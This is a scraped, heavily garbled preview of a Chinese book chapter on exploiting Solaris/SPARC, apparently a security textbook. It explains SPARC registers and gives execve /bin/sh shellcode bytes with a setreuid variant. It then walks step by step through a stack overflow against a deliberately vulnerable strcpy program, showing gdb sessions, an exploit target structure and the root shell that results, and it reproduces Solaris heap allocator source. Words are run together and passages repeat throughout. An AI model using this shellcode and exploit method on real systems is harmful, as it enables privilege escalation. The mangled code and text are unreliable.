![手冊(cè)10 solaris破解入門_第1頁(yè)](http://file4.renrendoc.com/view10/M03/28/0C/wKhkGWWYb-WAanymAAL0GppHptM624.jpg)
![手冊(cè)10 solaris破解入門_第2頁(yè)](http://file4.renrendoc.com/view10/M03/28/0C/wKhkGWWYb-WAanymAAL0GppHptM6242.jpg)
![手冊(cè)10 solaris破解入門_第3頁(yè)](http://file4.renrendoc.com/view10/M03/28/0C/wKhkGWWYb-WAanymAAL0GppHptM6243.jpg)
![手冊(cè)10 solaris破解入門_第4頁(yè)](http://file4.renrendoc.com/view10/M03/28/0C/wKhkGWWYb-WAanymAAL0GppHptM6244.jpg)
![手冊(cè)10 solaris破解入門_第5頁(yè)](http://file4.renrendoc.com/view10/M03/28/0C/wKhkGWWYb-WAanymAAL0GppHptM6245.jpg)
版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
破解入?很長(zhǎng) 破解入?很長(zhǎng)一段時(shí)間以來(lái),Solaris主要支持高端Web和數(shù)據(jù)庫(kù)服務(wù)。SolarisInterl發(fā)行版,但絕大多數(shù)的Solaris還是運(yùn)行在SPARC平臺(tái)之上。我們?cè)诒菊聦丫Ψ旁谌贿@樣的稱呼已漸漸被大家遺忘了,現(xiàn)在常見(jiàn)的版本是2.6,7,8,和9。的網(wǎng)絡(luò)服務(wù),例如,默認(rèn)安裝Solaris9啟用20RPC服務(wù)。在以前,RPC服務(wù)里涌(sadincstatatoounrshddtspcdlpd位的文件,因此,在正式使用Solaris前,應(yīng)該對(duì)它進(jìn)行仔細(xì)地加固。當(dāng)然,Solars也內(nèi)置了一些安全功能,包括進(jìn)程記帳、審計(jì)、和可選的non-棧。從管理員的立場(chǎng)來(lái)看,啟用這個(gè)選項(xiàng)是值得的,因?yàn)樗峁┝艘欢ǔ潭壬系谋Wo(hù)10.1SPARC體系結(jié)構(gòu)介紹ScalableProcessorArchitecture(SPARC)是廣泛使用的硬件平臺(tái)Solaris的支持非的低效率運(yùn)行模式中,可以運(yùn)行64位及32位程序。除此CPU實(shí)際上都是來(lái)Sun的SPARCv7v832位模式下運(yùn)行Solaris7,8964位內(nèi)核,可以64位用戶模式的程序;然而,大多數(shù)用戶模式的程序是32位運(yùn)行的SPARC處理器有32個(gè)通用寄存器,隨時(shí)可以使用。其中一些有特殊用途,剩下的由BUS錯(cuò)誤并引起程序崩潰寄存器和寄存器窗口SPARCCPU可使用的寄存器總數(shù)可以改變,但它們分成了固定數(shù)量的寄存寄存器和寄存器窗口SPARCCPU可使用的寄存器總數(shù)可以改變,但它們分成了固定數(shù)量的寄存器窗口。一函數(shù)釋放局部棧.第一個(gè)全局寄存器%g0永遠(yuǎn)是零。寫入它的數(shù)據(jù)會(huì)被丟棄,任何以它為源寄存器的復(fù)制操作將把目標(biāo)操作數(shù)設(shè)為零。除了%g0之外7個(gè)全局寄存器也各有用途10.1.里開(kāi)始6個(gè)輸入寄存器(%i0-%i5)傳入函數(shù)參數(shù)。它們作為%o0至%o5傳遞給函數(shù),遞。函數(shù)的返回值存貯在%i0里,執(zhí)行restore時(shí)轉(zhuǎn)為%o0。把棧指針作為幀指針保存,restore把保存的棧指針恢復(fù)到它原來(lái)的地方。restore。在這個(gè)值被復(fù)制到輸入寄存器之后,%o7就變成一個(gè)普通用途的寄存器了??偨Y(jié)輸入/輸出寄存器用途的列表見(jiàn)表10.2.。為了方.里總結(jié)saverestore的作用寄存用Firstincomingfunctionargument,return寄存用AlwaysTemporaryGlobalvariableGlobalvariableGlobalvariable表表10.3.save指令的作表10.4.restore指令的leaf函數(shù)(那些不調(diào)用其它表表10.3.save指令的作表10.4.restore指令的leaf函數(shù)(那些不調(diào)用其它函數(shù)的函數(shù)編譯器可以生成saverestroesave指令至少在64字節(jié)的空間,在必要時(shí)也會(huì)保存本地寄存器和輸入寄存器的內(nèi)被刷新,從而把寄存器窗口中的數(shù)據(jù)壓延遲槽和其它的體系結(jié)構(gòu)類似,SPARCbranch,calljump時(shí)使用延遲槽。在程序執(zhí)行過(guò)程中,有兩個(gè)寄存器用來(lái)指定控制流;%pc是程序計(jì)數(shù)器,指向當(dāng)前的指令,%npc這導(dǎo)致在執(zhí)行流被重定向到目的地址之前,branch/call之后的指CMP%o0,0BEADD%o1,1,1.Inputregistersbecomeoutput2.Originalinputregistersarerestoredfromasavedregister3.Originallocalregistersarerestoredfromasavedregister4.Asaresultofstepone,the%sp(%o6)becomes%fp(%i6)releasinglocalstack1.Localregisters(%l0–%l7)aresavedaspartofaregister2.Inputregisters(%i0–%i7)aresavedaspartofaregister3.Outputregisters(%o0–%o7)becometheinputregisters4.AspecifiedamountofstackspaceisSecondthroughsixthincomingfunctionFramepointer(savedstackReturnFirstoutgoingfunctionargument,returnvaluefromcalledSecondthoughsixthoutgoingfunctionStackContainsreturnaddressimmediatelyaftercall,otherwisegeneralMOV0x10,在這個(gè)例子里,如果%o0保MOV0x10,在這個(gè)例子里,如果%o0保存零,在0x10008的分支將被采用。然而,在采用這個(gè)分支前,0x1000c處的指令被執(zhí)行。如果這個(gè)分支0x10008沒(méi)有0x1000c處的指令仍被執(zhí)行,執(zhí)行0x10010。如果一個(gè)分支被取消,例BE,Aaddress,那么僅僅在即使是為了寫破解,也沒(méi)有必要全部理解它們 合成指令SPARC里的許多指令是由其它指令合成的,或者是其它指令的別名。因?yàn)樗械闹噶顁etjmpli7+8g0,回到保存的返回地址上來(lái)。程序計(jì)數(shù)器的值被丟給%g0寄存器,而Leaf函數(shù)用另外的合成指令—retl返回。因?yàn)樗鼈儾籹averestore,因此,返回地址在%o7里。retljmpl%o7+8,%g0的別名。10.2Solaris/SPARCShellcode基礎(chǔ)SPARC上的Solaris和其它的UNIX類似,都有明確定義的系統(tǒng)調(diào)用接口。傳統(tǒng)的Solaris/SPARC和其它的平臺(tái)差不多,Shellcode使用系統(tǒng)調(diào)用而不是調(diào)用庫(kù)函數(shù)。網(wǎng)上有無(wú)在網(wǎng)上肯定可以找到合適的;然而,如果你希望自己寫Shellcode,那么必須掌握本章所介系統(tǒng)通過(guò)特殊的8開(kāi)始系統(tǒng)調(diào)用。然而,SunOS最初是用陷0開(kāi)始系統(tǒng)調(diào)用的,只是最近Solaris版本才改8。系統(tǒng)調(diào)用號(hào)通過(guò)全局寄存器%g1指定。作為正常的函數(shù)參數(shù)6個(gè)的系統(tǒng)調(diào)用參數(shù)都是通過(guò)輸出寄存器%o0到%o5傳遞。大多數(shù)棧來(lái)傳遞這些額 自定位和SPARCShellcode為了引用自身包含的字符串,需要在內(nèi)存里定位自己的位置。通過(guò)作為存在以及為了避免Shellcode里出現(xiàn)Null字節(jié),所用的指令非常復(fù)雜。下面的指令把Shellcode的地址載入寄存器%o7,這個(gè)方法工作得很好,在Shellcode里使用多年了\x20\xbf\xff\xff//bn,ashellcode–\x20\xbf\xff\xff//bn,aShellcode里使用多年了\x20\xbf\xff\xff//bn,ashellcode–\x20\xbf\xff\xff//bn,a\x7f\xff\xff\xff//callshellcode+restofnever數(shù)器的值存貯在%o7里。上述指令執(zhí)行的順序是1,3,4,2,4這段代碼導(dǎo)致call的地址保存在%o7里,使Shellcode可以定位它在內(nèi)存里的字節(jié)串簡(jiǎn)單的SPARCexec介紹一些非常簡(jiǎn)單的Shellcode,它們?cè)赟olaris/SPARC上執(zhí)行/bin/sh。做的staticchar//1:bn,ascode-bn,ascodecallscode+4add%o7,32,%o0add%o0,8,%o1st%o0,[%o0+st%g0,[%o1+%g0,[%o0+7]11,%g1810://11:shell下面逐行解釋這這段熟悉的代碼把Shellcode的地址載入%o7定位延續(xù)的載入代碼。[Locationloadingcode重復(fù)一把/bin/sh的地址載入%o0;這是系統(tǒng)調(diào)用的第一個(gè)參數(shù)把函數(shù)參數(shù)數(shù)組的地址載入%o1。這個(gè)地址位于/bin/sh后面8個(gè)字節(jié)結(jié)尾后面1個(gè)字節(jié)處,是系統(tǒng)調(diào)用的第用字符串/bin/sh初始化參數(shù)數(shù)組(argv[0])的第一個(gè)成員結(jié)尾后面1個(gè)字節(jié)處,是系統(tǒng)調(diào)用的第用字符串/bin/sh初始化參數(shù)數(shù)組(argv[0])的第一個(gè)成員NULL在正確位置寫一NULL字節(jié),確保/bin/sh字符串完NULL終止。%g1(1=SYS_exec通過(guò)陷阱8(ta=trap)執(zhí)行系統(tǒng)調(diào)用Shell字符 里面有用的系統(tǒng)調(diào)用除execv外,Solaris里還有幾個(gè)系統(tǒng)調(diào)用可以使用,在以找到完整的列表。表10.5.提供一個(gè)快速預(yù)覽里面.NOP和填充指令錯(cuò)的選擇。但在大多數(shù)情況下,SPARC的NOP指令實(shí)際上沒(méi)什么用處,因?yàn)樗齻€(gè)具有同樣的效果。表10.6.是一些例子Sparc填充指字節(jié)sub%g1,%g2,andcc%l7,%l7,or%g0,0xfff,系統(tǒng)調(diào)510.3 棧幀介紹Solaris/SPARC對(duì)棧幀的組織和其它平臺(tái)類似。10.3 棧幀介紹Solaris/SPARC對(duì)棧幀的組織和其它平臺(tái)類似。棧Intelx86那樣,用于保存局部變量和寄存器中的數(shù)據(jù)(見(jiàn)表10.7.,地址也是從大到小,依次減少。系統(tǒng)在棧上為32位二制文件里的函數(shù)至少保留96個(gè)字節(jié)的空間,這些空間除了保存8個(gè)本地寄存器和8個(gè)輸己保存的寄存器10.7.Solaris的內(nèi)存管指針。在大多數(shù)情況下,整數(shù)和指針保存在通用寄存器里,除非是參數(shù)的數(shù)量超出可用的存器,或者要求它們必須是可尋址的,才會(huì)把它們放到棧上10.4棧溢出的方法點(diǎn)不一樣,但還是有很多共性 任意的大小溢出改寫保存在棧上的指令指針,把執(zhí)行流重定向到包含Shellcode的地址。然而,因?yàn)闂5目椥问?,它可能只能改寫調(diào)用函數(shù)保存的寄存器。最終的效果是它采用兩個(gè)函數(shù)的最小值Topofstack–HighermemoryFunctionSpacereservedforlocalSize:FunctionSpacereservedforreturnpointerandargumentSize:32FunctionSpacereservedforsavedSize:64Bottomofstack–Lowermemory獲取執(zhí)行控如果你考慮一個(gè)假設(shè)有棧溢出的函數(shù),這個(gè)函數(shù)獲取執(zhí)行控如果你考慮一個(gè)假設(shè)有棧溢出的函數(shù),這個(gè)函數(shù)的返回地址保存在%i7里。SPARC的ret指令是jmpli7+8,%g0合成的。延遲槽將典型restore指令填充。第ret/restore指令對(duì)將產(chǎn)生一個(gè)新值,這個(gè)值來(lái)自從保存的寄存器窗口恢復(fù)的%i7。如果這是從棧10.8.顯示了棧上保存Solaris/SPARC寄存器窗口信息。這個(gè)信息的組織形式和調(diào)器(比如說(shuō)GDB)里輸出的差不多。輸入寄存器比局部寄存器更靠近棧頂. 寄存器窗口和棧溢出的復(fù)雜性在發(fā)生溢出時(shí),如果你試圖改寫的寄存器窗口不在棧上,而是CPU的寄存器里,你內(nèi)部寄存器。這將使試圖改寫保存的%i7寄存器的攻擊更加困難。效果 其它復(fù)雜的因素fault多個(gè)保存的寄存器,在幀指針里對(duì)齊是基本的保護(hù)措施。在執(zhí)行restore指令時(shí),如果沒(méi)對(duì)齊幀指針,將引起B(yǎng)US錯(cuò)誤,從而導(dǎo)致%i6(saved%i7(saved 可能的解決方法即使第一個(gè)寄存器窗 可能的解決方法即使第一個(gè)寄存器窗口沒(méi)有保存在棧上,但仍有一些方法可以執(zhí)行保存的%i7的棧改導(dǎo)致被立刻刷新入棧。然而,這個(gè)方法不太可靠,因?yàn)椴⒉皇撬械囊绯龆伎梢灾貜?fù)利對(duì)破解來(lái)說(shuō),知道最壞的情況對(duì)我們有Off-By-One棧溢出漏洞主要是基于指針I(yè)ntelx86上的破解,最明確的方法是改寫保存的幀指針的最沒(méi)夠用時(shí),通常導(dǎo)致一個(gè)NULL字節(jié)寫到邊界之外。除字節(jié)序問(wèn)題外,Solaris/SPARC上指針惡化的目標(biāo)是受限的。它不可能到達(dá)幀指針,來(lái)說(shuō),SPARC的Off-By-One棧溢出最多只提供了有限Shellcode位置些地方,每個(gè)地方都有它的優(yōu)缺點(diǎn)。選擇shellcode放在哪里,考慮最多的因素應(yīng)該是可把shellcode加上大量的填充物后注入環(huán)境變量是可能的,這樣的話,在可預(yù)計(jì)的棧地在破解守護(hù)程序時(shí),特別是遠(yuǎn)程守護(hù)程序時(shí),在棧上尋Shellcode并執(zhí)行它仍是一個(gè)們可以在shellcode周圍注入大量的填充物,并把執(zhí)行流程指向堆地址,它可以象棧緩沖區(qū)溢出那樣可靠。然而,在大多數(shù)情況下,在堆上尋Shellcode可能要嘗試多次,要想可靠掌握目標(biāo)系統(tǒng)函數(shù)庫(kù)的具體知識(shí)。Solaris/SPARC有多種版本的函數(shù)庫(kù),可能多于其它的商業(yè)操作系統(tǒng)Windows;期望libc載入特殊的基地址是不合理的,每個(gè)重Solaris址的列表,返回libc的方法對(duì)于遠(yuǎn)程破解來(lái)說(shuō)也許是可行的。對(duì)于基于字符串的溢出(復(fù)制操NULL字節(jié))來(lái)說(shuō),通常不可能把執(zhí)行流程重定向到主程序的可執(zhí)行的數(shù)據(jù)部分。許多程序被載入基地址0x00010000,這個(gè)地址的高位或堆上存貯Shellcode不能可靠地完成破解,可以試一下這個(gè)10.5實(shí)際的棧溢出破解適當(dāng)?shù)难菔究梢允筍olaris/SPARC上基于棧的破解更加通俗易懂。下面使用本方法,介紹在假定的Solaris應(yīng)用程序里怎樣破解棧溢出 脆弱的程序?yàn)榱搜菔驹鯓悠平鈼R绯?,我們專門寫了這個(gè)脆弱的程序。它不太復(fù)雜,你可能會(huì)在實(shí)的應(yīng)用程序里發(fā)現(xiàn)它的身影;然而,它的確是一個(gè)好的起點(diǎn)。脆弱的代intvulnerable_function(char{charstrcpy(buf,userinput);return1;}在這個(gè)例子里,userinput是通過(guò)命令行傳遞的第一個(gè)參數(shù)。注意,這個(gè)程序在退出前兩次返回,從而給了我們破解的可能性當(dāng)代碼被編譯后,從IDAPro里可以看到當(dāng)代碼被編譯后,從IDAPro里可以看到和下面類似的=-=%sp,-0xb0,%i0,%fp,var_50,%o0strcpy的第一個(gè)參數(shù)是目標(biāo)緩沖區(qū),在這個(gè)例子里,它位于幀指令80字節(jié)(0x50)內(nèi),第一個(gè)絕對(duì)關(guān)鍵的寄存器是第十五個(gè)保存的棧指針%fp,位于寄存器窗56字節(jié)首先,用135字節(jié)長(zhǎng)的字符串作為第一個(gè)參數(shù)運(yùn)行程GNUgdb4.18Copyright1998FreeSoftwareFoundation,GDBisfreesoftware,coveredbytheGNUGeneralPublicLicense,andarewelcometochangeitand/ordistributecopiesofitundercertainconditions.Type"showcopying"toseetheconditions.ThereisabsolutelynowarrantyforType"showwarranty"forThisGDBwasconfiguredas"sparc-sun-solaris2.8"...(nodebuggingsymbolsfound)...(gdb)r`perl-e"print'A'x135"`Startingprogram:/test/./stack_overflow`perl-e"print'A'x135"`(nodebuggingsymbolsfound)...(nodebuggingsymbolsfound)...(nodebuggingsymbolsfound)...Programexited然而,當(dāng)我們把第一個(gè)參數(shù)再加上一個(gè)字節(jié)時(shí),后果就完全不(gdb)r`perl-e"print'A'xStartingprogram:/test/./stack_overflow`perl-e"print'A'x136"`(nodebuggingsymbolsfound)...(nodebuggingsymbolsfound)...(nodebuggingsymbolsfound)...0x10704inmain()(gdb)x/i$pc(gdb)print/x$1=0xbffd28$20x10704inmain()(gdb)x/i$pc(gdb)print/x$1=0xbffd28$2=在這個(gè)例子里NULL字節(jié)終止的第一個(gè)參數(shù)改寫了幀指針(%i6,或者%fp)的高位字節(jié)。正如你看到的,以前保存的寄存器%i5A破壞了。緊跟在保存的幀指針后面的改寫所需要的關(guān)鍵信息,現(xiàn)在開(kāi)始準(zhǔn)備編寫破解代碼 破解代碼因?yàn)檫@是本地破解,我們可以完全控制環(huán)境變量,對(duì)可靠地執(zhí)行Shellcode來(lái)說(shuō),這是個(gè)地方。我們唯一需要的是Shellcode在內(nèi)存中的地址,我們可以編寫多功能的破解代碼這個(gè)破解代碼包含一個(gè)目標(biāo)結(jié)構(gòu),詳細(xì)地說(shuō)明了不同平臺(tái)的具體信息,這些信息版本而structcharintlength_until_fp;unsignedlongfp_value;unsignedlongpc_value;intalign;}targets[]={"Solaris9Ultra-}值。破解代碼本身簡(jiǎn)單地構(gòu)造了以136個(gè)填充字節(jié)開(kāi)始的字符串,后面是指定的幀指針序計(jì)數(shù)器值。下面的Shellcode是破解代碼的一部分,與NOP填充物一起放在程序的環(huán)量里staticchar//xor%l7,%l7,//量里staticchar//xor%l7,%l7,//xor%l7,%l7,//mov202,//tastaticcharshellcode[]="\x20\xbf\xff\xff"bn,ascode-bn,acallscode+add%o7,add%o0,st%o0,[%o0st%g0,++stb%g0,[%o0+7]mov11,%g1tasetreui(00Shellcode這個(gè)攻擊代碼在第一次運(yùn)行時(shí),做的事情如下所示GNUgdb4.18Copyright1998FreeSoftwareFoundation,GDBisfreesoftware,coveredbytheGNUGeneralPublicLicense,andyouArewelcometochangeitand/ordistributecopiesofitundercertainType"showcopying"toseetheThereisabsolutelynowarrantyforGDB.Type"showwarranty"fordetails.ThisGDBwasconfiguredas"sparc-sun-solaris2.8"...(nodebuggingsymbols(gdb)r(nodebuggingsymbolsfound)...(nodebuggingsymbolsfound)...(nodebuggingsymbolsfound)...0xff3c29a8in??()(gdb)cProgramreceivedsignalSIGILL,Illegalinstruction.0xffbf1018in??()接下來(lái)是在內(nèi)存里尋找Shellcode,并把執(zhí)行流程重定向到找到的地址。我們Shellcode應(yīng)該非常好找,因?yàn)槲覀冇么罅款愃芅OP的指令填充它,而且,我知道它在程序的環(huán)境變量里,所以實(shí)際上它應(yīng)該在棧頂周圍,因此,我們?cè)跅m敻浇啻伟椿剀囨I之后,我們?cè)跅I险业揭恍〇|西,看起來(lái)很象我們的Shellcode這些重復(fù)的字節(jié)是我們填充的指令,在棧上0xffbffe44處。不過(guò),有些東西不太對(duì)勁我們?cè)谄平獯a里并沒(méi)有定義像下面這樣的空操作指令#defineNOP它們?cè)谝?字節(jié)對(duì)齊的內(nèi)存中的字節(jié)樣式是\x2f\xff\x80\x18。因SPARC指令總是以BUS故障。然而,通過(guò)向環(huán)境變量里增加兩個(gè)填充字節(jié),我們就可以正確對(duì)齊Shellcode,至此,我們應(yīng)該可以執(zhí)行Shell了structcharintlength_until_fp;unsignedlongfp_value;unsignedlongpc_value;intalign;}targets[]={"Solaris9Ultra-}校正后的破解代碼應(yīng)該可以}校正后的破解代碼應(yīng)該可以執(zhí)行shell了。我們檢驗(yàn)一$uname-SunOSunknown5.9Genericsun4usparcSUNW,Ultra-$ls-al-rwsr-xr-$16800Aug1920:22#iduid=0(root)#/compbooks/koziol可以找到這個(gè)漏洞和破解的源代碼(stack_overflow.c和stack_exploit.c10.6Solaris/SPARC上的堆溢出過(guò),SolarisSystemV的堆實(shí)現(xiàn)是這樣做的。如果程序的特殊信息保存在堆上,而且離溢出點(diǎn)不遠(yuǎn),那么通常來(lái)說(shuō),改寫它比改寫Solarissystem 堆介紹Solaris的堆實(shí)現(xiàn)基于自調(diào)整的二叉樹(shù),通過(guò)塊Solarissystem 堆介紹Solaris的堆實(shí)現(xiàn)基于自調(diào)整的二叉樹(shù),通過(guò)塊(chunk)大小排序。這導(dǎo)致堆的實(shí)現(xiàn)相個(gè)名realfree()的函數(shù)執(zhí)行。free()函數(shù)只對(duì)被釋放的塊執(zhí)行一些細(xì)微的合乎情理的檢查,然后把它放到空閑列表里,稍后將對(duì)它進(jìn)行處理。當(dāng)空閑列表滿了,或malloc/realloc被調(diào)用時(shí),函數(shù)調(diào)用cleanfree()刷新空閑列表。Solaris的堆實(shí)現(xiàn)執(zhí)行大多數(shù)堆實(shí)現(xiàn)的典型操作。在必要時(shí),通過(guò)sbrk系統(tǒng)調(diào)用增空間,在可能時(shí),會(huì)把相鄰的空閑塊合并在一起 堆的樹(shù)狀結(jié)構(gòu)方法外,你還想研究其它的方法,最好能掌握樹(shù)狀結(jié)構(gòu)。在普通的Solarislibc里,堆實(shí)現(xiàn)全部源碼如下。第一個(gè)源碼是malloc.c;第二個(gè)是mallint.hCopyright(c)1988AllRightsTHISISUNPUBLISHEDPROPRIETARYSOURCECODEOFAT&TThecopyrightnoticeabovedoesnotevidenceactualorintendedpublicationofsuchsourcecode.**Copyright(c)1996,bySunMicrosystems,Allrights"@(#)malloc.c1.1898/07/21SMI"/*1.30****Memorymanagement:malloc(),realloc(),Thefollowing#-parametersmaybeSEGMENTED:ifdefined,memoryrequestsareassumedto************************non-contiguousacrosscalls************************non-contiguousacrosscallsofGETCORE:afunctiontogetmorecorememory.IfnotSEGMENTED,GETCORE(0)isassumedtoreturnthenextavailableaddress.Defaultis'sbrk'.ERRCORE:theerrorcodeasreturnedbyGETCORE.Defaultis(char*)(-1).CORESIZE:adesiredunit(measuredinbytes)tobewithGETCORE.DefaultisThisalgorithmisbasedonabestfitstrategywithlistsoffreeeltsmaintainedinaself-adjustingbinarytree.Eachlistcontainsalleltsofthesamesize.Thetreeisorderedbyresultsonself-adjustingtrees,seethepaper:Self-AdjustingBinaryTrees,DDSleator&RETarjan,JACMheaderofablockcontainsthesizeofthedatapartinSincethesizeofablockis0%4,thelowtwobitsofthefreeusedas1forbusy(blockisinuse),0forfree.iftheblockisbusy,thisbitis1iftheprecedingblockincontiguousmemoryisfree.Otherwise,itisalwaysTREE/*rootofthefreetree/*thelastfreechunkinthearena*_morecore(size_t);/*functiontogetmorecore/*currenthighaddressofthe/*lastfreedblockwithdataintactt_splay(TREE*);staticstaticcleanfree(voidFREESIZE(1<<5)/*sizeforpreservingfreeblocksuntilFREEMASKstaticstaticcleanfree(voidFREESIZE(1<<5)/*sizeforpreservingfreeblocksuntilFREEMASKFREESIZE-staticvoid/*listofblockstobefreedonnextstaticint/*indexoffreeblocksinflist%*AllocationofsmallstaticTREE*List[MINSIZE/WORDSIZE-1];/*listsofstaticvoid_smalloc(size_t{ size_ti;ASSERT(size%WORDSIZE==wanttoreturnauniquepointeronmalloc(0)*/(size==0)size=listtousei=size/WORDSIZE-if(List[i]=={TREE*np;intn;/*numberofblockstogetatonetimeNPSASSERT((size+WORDSIZE)*NPS>=getNPSoftheseblocktypes((List[i]=_malloc_unlocked((size+WORDSIZE)return(0);*makethemintoalinklistfor(n=0,np=List[i];n<NPS;++n)tp=SIZE(tp)=np=NEXT(tp);AFTER(tp)=np;}AFTER(tp)=}/*allocatefromSIZE(tp)=np=NEXT(tp);AFTER(tp)=np;}AFTER(tp)=}/*allocatefromtheheadofthequeuetp=List[i];List[i]=AFTER(tp);return}void*{void(void)_mutex_lock(&malloc_lock);ret=_malloc_unlocked(size);(void)_mutex_unlock(&malloc_lock);return(ret);}staticvoid_malloc_unlocked(size_t{ASSERT(WORDSIZE==/*makesurethatsizeis0mod/*seeifthelastfreeblockcanbeusedif(Lfree){sp=BLOCK(Lfree);n=SIZE(sp);if(n==size)exactmatch,useitasfreeidxexactmatch,useitasfreeidx=(freeidx+FREESIZE-1)&FREEMASK;/*1back*/flist[freeidx]=Lfree=NULL;return(DATA(sp));}elseif(size>=MINSIZE&&n>size)gotabigenoughfreeidx=(freeidx+FREESIZE-1)&FREEMASK;/*1back*/flist[freeidx]=Lfree=NULL;o_bit1=SIZE(sp)&BIT1;SIZE(sp)=n;goto}}o_bit1=/*performfree'sofspacesincelastsmallblocks*/(size<MINSIZE)returnsearchforaneltoftherightsize==if(Root)tp=Root;while(1){/*branchleftif(SIZE(tp)>=size)if(n==0||n>=SIZE(tp))sp=tp;n=}iftp=}else{/*branchright{iftp=}}if(sp)iftp=}}if(sp)}elseif(tp!=Root)/*makethesearched-toelementRoot=}theroot}/*iffoundnonefittedinthetree*/if(!sp){if(Bottom&&size<={sp=Bottom;}elseif((sp=_morecore(size))==NULL)/*noreturn(NULL);}/*telltheforwardneighborthatwe'rebusy/*iftheleftoverisenoughforanewfreepiece*/if((n=(SIZE(sp)-size))>=MINSIZE+WORDSIZE)n-=SIZE(sp)=size;tp=NEXT(sp);SIZE(tp)=n|BIT0;}elseif(BOTTOM(sp))Bottom=NULL;/*returntheallocatedspaceSIZE(sp)|=BIT0|o_bit1;return(DATA(sp));}****Iftheblocksizeisincreasing,wetryforwardThisisnot}****Iftheblocksizeisincreasing,wetryforwardThisisnotbest-fitbutitavoidssomevoidrealloc(void*old,size_t{/*pointertotheblock(void)_mutex_lock(&malloc_lock);if(old==NULL){new=(void)_mutex_unlock(&malloc_lock);return(new);}/*performfree'sofspacesincelast/*makesurethatsizeis0modALIGN==iftheblockwasfreed,datahasbeendestroyed.(!ISBIT0(ts)){(void)_mutex_unlock(&return}nothingtodoif(size==SIZE(tp))SIZE(tp)=(void)_mutex_unlock(&malloc_lock);return(old);}specialcasesinvolvingsmallblocksSIZE(tp)=(void)_mutex_unlock(&malloc_lock);return(old);}specialcasesinvolvingsmallblocks*/(size<MINSIZE||SIZE(tp)<MINSIZE)gotoblockisincreasinginsize,trymerging(size>SIZE(tp)){np=if{ASSERT(SIZE(np)>=MINSIZE);SIZE(tp)+=SIZE(np)+WORDSIZE;if(np!=Bottom)Bottom=NULL;}thenextblock#ifndef/*notenough&atTRUEendofmemory,tryextending{if(size>SIZE(tp)&&BOTTOM(tp)&&GETCORE(0)==Bottom=tp;if((tp=_morecore(size))=={tp=Bottom;Bottom=}}}/*gotenoughspacetouse*/if(size<=SIZE(tp)){size_tif((n=(SIZE(tp)-size))>=MINSIZE+n-=WORDSIZE;SIZE(tp)=np={SIZE(np)=}elseif(BOTTOM(tp))Bottom=NULL;/*thepreviousblockSIZE(np)=}elseif(BOTTOM(tp))Bottom=NULL;/*thepreviousblockmaybefree*/SETOLD01(SIZE(tp),ts);(void)_mutex_unlock(&return}/*callmalloctogetanewblock*/SETOLD01(SIZE(tp),if((new=_malloc_unlocked(size))!=NULL)if(ts>ts=size;MEMCOPY(new,old,ts);(void)_mutex_unlock(&malloc_lock);return(new);}{***************Attemptspecialcaserecoveryallocationssincemalloc()size<=SIZE(tp)<SimplyreturntheexistingblockSIZE(tp)<size<MINSIZEmalloc()mayhavefailedtoallocatethechunkofsmallblocks.TryaskingforMINSIZEbytes.size<MINSIZE<=malloc()mayhavefailedaswith2.ChangetoMINSIZEallocationwhichistakenfromthebeginningofthecurrentblock.MINSIZE<=SIZE(tp)<Ifthepreviousblockisfreeandthecombinationofthesetwoblockshasatleastsizebytes,thenthetwoblockscopyingtheexistingcontentsif(SIZE(tp)<MINSIZE)if(size<SIZE(tp))/*case1.SETOLD01(SIZE(tp),(void)_mutex_unlock(&return(old);}elseif(size<{size=gotoSETOLD01(SIZE(tp),(void)_mutex_unlock(&return(old);}elseif(size<{size=goto}elseif(size<{size=gotoelseif(ISBIT1(ts)/*case2.}/*case3.}(SIZE(np=LAST(tp))+SIZE(tp)+WORDSIZE)>=size)SIZE(np)+=SIZE(tp)+Sincethecopymayoverlap,useOtherwise,copyby(void)memmove(DATA(np),old,SIZE(tp));old=DATA(np);tp=np;goto}SETOLD01(SIZE(tp),(void)_mutex_unlock(&malloc_lock);return(NULL);}*********CoalescingofadjacentfreeblocksisdoneThen,thenewfreeblockisleaf-insertedintofreewithoutsplaying.ThisstrategydoesnotguaranteetheamortizedO(nlogn)behaviorfortheinsert/delete/findsetofoperationsonthetree.Inpractice,however,freeismuchmoreinfrequentthanmalloc/reallocandthetreesearchesperformedbythesefunctionsadequatelykeepthetreeinstaticrealfree(void{*tp,*sp,ts,pointertotheblock==SIZE(tp);{*tp,*sp,ts,pointertotheblock==SIZE(tp);smallblock,putitintherightlinkedlist*/(SIZE(tp)<MINSIZE){ASSERT(SIZE(tp)/WORDSIZE>=1);ts=SIZE(tp)/WORDSIZE-1;AFTER(tp)=List[ts];List[ts]=tp;}seeifcoalescingwithnextblock=NEXT(tp);if(np!=Bottom)SIZE(tp)+=SIZE(np)+}thesamewiththeprecedingblock*/(ISBIT1(ts)){np=LAST(tp);ASSERT(np!=Bottom);SIZE(np)+=SIZE(tp)+tp=}initializetreeRIGHT(tp)=LINKFOR(tp)PARENT(tp)=LEFT(tp)/*thelastwordofblockcontainsself'saddress*(SELFP(tp))=/*setbottomblock,orinsert*(SELFP(tp))=/*setbottomblock,orinsertinthefreeif(BOTTOM(tp))Bottom=elsesearchfortheplacetoinsert*/(Root){size=SIZE(tp);np=Root;while(1){if(SIZE(np)>{if(LEFT(np))np=LEFT(np);elseLEFT(np)=tp;PARENT(tp)=np;}}elseif(SIZE(np)<{ifnp=RIGHT(np);else{RIGHT(np)=tp;PARENT(tp)=np;}elseif((sp=PARENT(np))!=if(np==LEFT(sp))LEFT(sp)=RIGHT(sp)=tp;PARENT(tp)=sp;}Root=}{/*inserttoheadoflist*/if((sp=LEFT(np))!=PARENT(sp)=LEFT(tp)=if((sp=RIGHT(np))!=PARENT(sp)=RIGHT(tp)=/*doublylinklist*/LINKFOR(tp)=np;LINKBAK(np)=tp;}}}Root=}/*tellRIGHT(tp)=/*doublylinklist*/LINKFOR(tp)=np;LINKBAK(np)=tp;}}}Root=}/*tellnextblockthatthisone}*Getmorecore.GapsinmemoryarenotedstaticTREE_morecore(size_t{n,/*computenewamountofmemorytp=Bottom;n=size+2*addr=toget(addr==returnneedtopadsizeoutso((((size_t)addr)%ALIGN)addrisalignedoffset=ALIGN-(size_t)addr%offset=#ifndefifnotsegmentedmemory,whatweneed(addr==Baddr){n-=if(tp!=n#ifndefifnotsegmentedmemory,whatweneed(addr==Baddr){n-=if(tp!=n-=}getamultipleofCORESIZEn=((nnsize=1)/CORESIZE+1)*+if==returnif(nsize<=LONG_MAX)if(GETCORE(nsize)==return}else*thevaluerequiredistoobigto*inonego,souseGETCORE